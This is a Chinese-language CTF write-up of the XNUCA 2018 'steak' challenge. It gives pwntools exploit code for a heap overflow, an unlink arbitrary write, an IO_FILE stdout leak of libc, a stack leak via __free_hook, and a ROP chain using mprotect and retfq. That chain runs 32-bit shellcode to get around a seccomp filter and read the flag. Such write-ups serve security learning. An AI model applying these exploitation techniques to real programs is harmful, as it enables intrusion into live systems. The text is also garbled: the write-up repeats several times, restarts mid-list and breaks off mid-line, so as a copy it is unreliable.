-
-
[原创]2018-XNUCA steak 涨姿势
-
发表于: 2019-4-5 18:33 12908
-
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
漏洞类型
堆溢出
背景知识
unlink
IO_FILE结构
shellcode编写
ROP
unlink
IO_FILE结构
shellcode编写
ROP
保护机制
GOT表不能改,但随机地址没开
GOT表不能改,但随机地址没开
程序逻辑
1、
最多创建16个chunk,可以任意指定大小
2、
没有任何检查o(* ̄︶ ̄*)o
3、
由于可以指定输入的大小,导致溢出。
4、
同样存在溢出,并且可以任意copy堆的内容
5、
prctl seccomp保护机制就是往内核中添加一系列规则,通常会限制调用某些函数(如execv、fork),使得在getshell的时候不能直接调用system('/bin/sh'),对做pwn造成很大的麻烦。
这里可以利用大神的工具解析seccomp规则
:https://github.com/david942j/seccomp-tools
$seccomp-tools dump ./steak 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
不能调用fork,就不能直接getshell了;而且还把prctl关了,那就不能再次改规则了。。
利用思路
1、注意到提供的功能里面没有输出的功能,所以第一步要看怎么leak地址。暂时还不知道怎么读leak信息,接着想想能不能任意写。
2、很容易发现堆溢出漏洞后,可以采取unlink的方法实现任意写。
3、如果能任意写,那么可以采取改IO_FILE的结构的方法泄露libc和stack。
4、能泄露stack后,就能覆盖返回地址,实现ROP,控制程序流,执行我的shellcode
5、因为seccomp的规则限制,不能直接getshell。但这只是对64位代码做限制,实际上可以写32的shellcode,以32位的模式运行(骚操作)。
具体实现
第一步:unlink(任意写)
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
第二步:改IO_FILE(任意读)
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行
count = _IO_SYSWRITE (fp, data, to_do);
#leak libc edit(3,16,p64(src)+p64(stdout)) copy(1,0,8)#src[0]=*stdout payload = p64(0xfbad1800)+p64(0)*3+'\x00' edit(0,len(payload),payload) r(8) r(8) r(8) r(8) leak = uu64(r(8))-0x3c36e0 success('leak= {}'.format(hex(leak))) libc.address = leak
第三步:读取flag
除了修改
_IO_write_base字段
来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack free_hook = libc.symbols['__free_hook'] puts = libc.symbols['puts'] env = libc.symbols['environ'] edit(3,16,p64(free_hook)+p64(env)) edit(0,8,p64(puts)) delete(1) stack = uu64(r(7)[1:]) success('stack= {}'.format(hex(stack))) ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag")) ss = ''' mov ebx, eax mov ecx, 0x602900 mov edx,0x50 int 0x80 mov eax,4 mov ebx, 1 mov ecx, 0x602900 mov edx,0x50 int 0x80 ''' shellcode+=asm(ss) p_rdi=0x400ca3 p_rdx_rsi = 0x00000000001150c9+libc.address mprotect = libc.symbols['mprotect'] #retfq = 0x107428 + libc.address#0x002bca4c retfq = 0x811dc+libc.address ''' code = asm('retfq',arch='amd64') code = next(libc.search(code))#0x811dc success('retfq address: {}'.format(hex(code))) ''' mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode #mprotect(0x602000,0x1000,7) print len(shellcode)#63 edit(3,8,p64(0x602500)) edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag') edit(3,8,p64(ret)) edit(0,len(rop),rop) #gdb.attach(cn,'b *0x602500') #gdb.attach(cn,'b *0x400ca3') sl(5) irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。
EXP
1、
最多创建16个chunk,可以任意指定大小
2、
最多创建16个chunk,可以任意指定大小
2、
没有任何检查o(* ̄︶ ̄*)o
3、
由于可以指定输入的大小,导致溢出。
4、
同样存在溢出,并且可以任意copy堆的内容
5、
prctl seccomp保护机制就是往内核中添加一系列规则,通常会限制调用某些函数(如execv、fork),使得在getshell的时候不能直接调用system('/bin/sh'),对做pwn造成很大的麻烦。
这里可以利用大神的工具解析seccomp规则
:https://github.com/david942j/seccomp-tools
$seccomp-tools dump ./steak 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
不能调用fork,就不能直接getshell了;而且还把prctl关了,那就不能再次改规则了。。
利用思路
1、注意到提供的功能里面没有输出的功能,所以第一步要看怎么leak地址。暂时还不知道怎么读leak信息,接着想想能不能任意写。
2、很容易发现堆溢出漏洞后,可以采取unlink的方法实现任意写。
3、如果能任意写,那么可以采取改IO_FILE的结构的方法泄露libc和stack。
4、能泄露stack后,就能覆盖返回地址,实现ROP,控制程序流,执行我的shellcode
5、因为seccomp的规则限制,不能直接getshell。但这只是对64位代码做限制,实际上可以写32的shellcode,以32位的模式运行(骚操作)。
具体实现
第一步:unlink(任意写)
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
第二步:改IO_FILE(任意读)
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行
count = _IO_SYSWRITE (fp, data, to_do);
#leak libc edit(3,16,p64(src)+p64(stdout)) copy(1,0,8)#src[0]=*stdout payload = p64(0xfbad1800)+p64(0)*3+'\x00' edit(0,len(payload),payload) r(8) r(8) r(8) r(8) leak = uu64(r(8))-0x3c36e0 success('leak= {}'.format(hex(leak))) libc.address = leak
第三步:读取flag
除了修改
_IO_write_base字段
来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack free_hook = libc.symbols['__free_hook'] puts = libc.symbols['puts'] env = libc.symbols['environ'] edit(3,16,p64(free_hook)+p64(env)) edit(0,8,p64(puts)) delete(1) stack = uu64(r(7)[1:]) success('stack= {}'.format(hex(stack))) ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag")) ss = ''' mov ebx, eax mov ecx, 0x602900 mov edx,0x50 int 0x80 mov eax,4 mov ebx, 1 mov ecx, 0x602900 mov edx,0x50 int 0x80 ''' shellcode+=asm(ss) p_rdi=0x400ca3 p_rdx_rsi = 0x00000000001150c9+libc.address mprotect = libc.symbols['mprotect'] #retfq = 0x107428 + libc.address#0x002bca4c retfq = 0x811dc+libc.address ''' code = asm('retfq',arch='amd64') code = next(libc.search(code))#0x811dc success('retfq address: {}'.format(hex(code))) ''' mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode #mprotect(0x602000,0x1000,7) print len(shellcode)#63 edit(3,8,p64(0x602500)) edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag') edit(3,8,p64(ret)) edit(0,len(rop),rop) #gdb.attach(cn,'b *0x602500') #gdb.attach(cn,'b *0x400ca3') sl(5) irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。
EXP
由于可以指定输入的大小,导致溢出。
4、
同样存在溢出,并且可以任意copy堆的内容
5、
prctl seccomp保护机制就是往内核中添加一系列规则,通常会限制调用某些函数(如execv、fork),使得在getshell的时候不能直接调用system('/bin/sh'),对做pwn造成很大的麻烦。
这里可以利用大神的工具解析seccomp规则
:https://github.com/david942j/seccomp-tools
$seccomp-tools dump ./steak 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
不能调用fork,就不能直接getshell了;而且还把prctl关了,那就不能再次改规则了。。
利用思路
1、注意到提供的功能里面没有输出的功能,所以第一步要看怎么leak地址。暂时还不知道怎么读leak信息,接着想想能不能任意写。
2、很容易发现堆溢出漏洞后,可以采取unlink的方法实现任意写。
3、如果能任意写,那么可以采取改IO_FILE的结构的方法泄露libc和stack。
4、能泄露stack后,就能覆盖返回地址,实现ROP,控制程序流,执行我的shellcode
5、因为seccomp的规则限制,不能直接getshell。但这只是对64位代码做限制,实际上可以写32的shellcode,以32位的模式运行(骚操作)。
具体实现
第一步:unlink(任意写)
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
第二步:改IO_FILE(任意读)
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行
count = _IO_SYSWRITE (fp, data, to_do);
#leak libc edit(3,16,p64(src)+p64(stdout)) copy(1,0,8)#src[0]=*stdout payload = p64(0xfbad1800)+p64(0)*3+'\x00' edit(0,len(payload),payload) r(8) r(8) r(8) r(8) leak = uu64(r(8))-0x3c36e0 success('leak= {}'.format(hex(leak))) libc.address = leak
第三步:读取flag
除了修改
_IO_write_base字段
来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack free_hook = libc.symbols['__free_hook'] puts = libc.symbols['puts'] env = libc.symbols['environ'] edit(3,16,p64(free_hook)+p64(env)) edit(0,8,p64(puts)) delete(1) stack = uu64(r(7)[1:]) success('stack= {}'.format(hex(stack))) ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag")) ss = ''' mov ebx, eax mov ecx, 0x602900 mov edx,0x50 int 0x80 mov eax,4 mov ebx, 1 mov ecx, 0x602900 mov edx,0x50 int 0x80 ''' shellcode+=asm(ss) p_rdi=0x400ca3 p_rdx_rsi = 0x00000000001150c9+libc.address mprotect = libc.symbols['mprotect'] #retfq = 0x107428 + libc.address#0x002bca4c retfq = 0x811dc+libc.address ''' code = asm('retfq',arch='amd64') code = next(libc.search(code))#0x811dc success('retfq address: {}'.format(hex(code))) ''' mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode #mprotect(0x602000,0x1000,7) print len(shellcode)#63 edit(3,8,p64(0x602500)) edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag') edit(3,8,p64(ret)) edit(0,len(rop),rop) #gdb.attach(cn,'b *0x602500') #gdb.attach(cn,'b *0x400ca3') sl(5) irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。
EXP
$seccomp-tools dump ./steak 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
不能调用fork,就不能直接getshell了;而且还把prctl关了,那就不能再次改规则了。。
利用思路
1、注意到提供的功能里面没有输出的功能,所以第一步要看怎么leak地址。暂时还不知道怎么读leak信息,接着想想能不能任意写。
2、很容易发现堆溢出漏洞后,可以采取unlink的方法实现任意写。
3、如果能任意写,那么可以采取改IO_FILE的结构的方法泄露libc和stack。
4、能泄露stack后,就能覆盖返回地址,实现ROP,控制程序流,执行我的shellcode
5、因为seccomp的规则限制,不能直接getshell。但这只是对64位代码做限制,实际上可以写32的shellcode,以32位的模式运行(骚操作)。
具体实现
第一步:unlink(任意写)
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
第二步:改IO_FILE(任意读)
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行
count = _IO_SYSWRITE (fp, data, to_do);
#leak libc edit(3,16,p64(src)+p64(stdout)) copy(1,0,8)#src[0]=*stdout payload = p64(0xfbad1800)+p64(0)*3+'\x00' edit(0,len(payload),payload) r(8) r(8) r(8) r(8) leak = uu64(r(8))-0x3c36e0 success('leak= {}'.format(hex(leak))) libc.address = leak
第三步:读取flag
除了修改
_IO_write_base字段
来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack free_hook = libc.symbols['__free_hook'] puts = libc.symbols['puts'] env = libc.symbols['environ'] edit(3,16,p64(free_hook)+p64(env)) edit(0,8,p64(puts)) delete(1) stack = uu64(r(7)[1:]) success('stack= {}'.format(hex(stack))) ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag")) ss = ''' mov ebx, eax mov ecx, 0x602900 mov edx,0x50 int 0x80 mov eax,4 mov ebx, 1 mov ecx, 0x602900 mov edx,0x50 int 0x80 ''' shellcode+=asm(ss) p_rdi=0x400ca3 p_rdx_rsi = 0x00000000001150c9+libc.address mprotect = libc.symbols['mprotect'] #retfq = 0x107428 + libc.address#0x002bca4c retfq = 0x811dc+libc.address ''' code = asm('retfq',arch='amd64') code = next(libc.search(code))#0x811dc success('retfq address: {}'.format(hex(code))) ''' mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode #mprotect(0x602000,0x1000,7) print len(shellcode)#63 edit(3,8,p64(0x602500)) edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag') edit(3,8,p64(ret)) edit(0,len(rop),rop) #gdb.attach(cn,'b *0x602500') #gdb.attach(cn,'b 